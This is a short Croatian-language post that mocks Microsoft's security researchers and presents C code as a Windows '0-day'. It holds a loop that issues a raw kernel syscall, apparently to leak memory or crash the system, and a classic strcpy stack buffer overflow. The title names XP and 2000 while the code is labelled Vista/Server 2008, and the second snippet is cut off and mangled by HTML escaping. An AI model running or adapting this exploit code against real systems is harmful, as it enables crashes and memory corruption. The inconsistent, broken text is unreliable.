Propust u Windowsima XP i 2000
Neka istražuju koliko žele, razljutili su security reasearch-re budale iz microsofta:
0-day win vista/server 2008:
#include <windows.h>
#define LEAK_ME 0x1151
int main(int argc, char *argv[])
{
/* get us some win32k! */
LoadLibrary("user32");
while (1) {
__asm {
mov eax, LEAK_ME
push 0
push 0
push 4
lea edx, dword ptr [esp]
int 0x2e
}
}
}
void function(char *str) {char buffer[16];strcpy(buffer,str); } void main() {char large_string[256];int i; for( i = 0; i &amp;amp;amp;lt; 255; i++) large_string[i] = 'A';function(large_string)
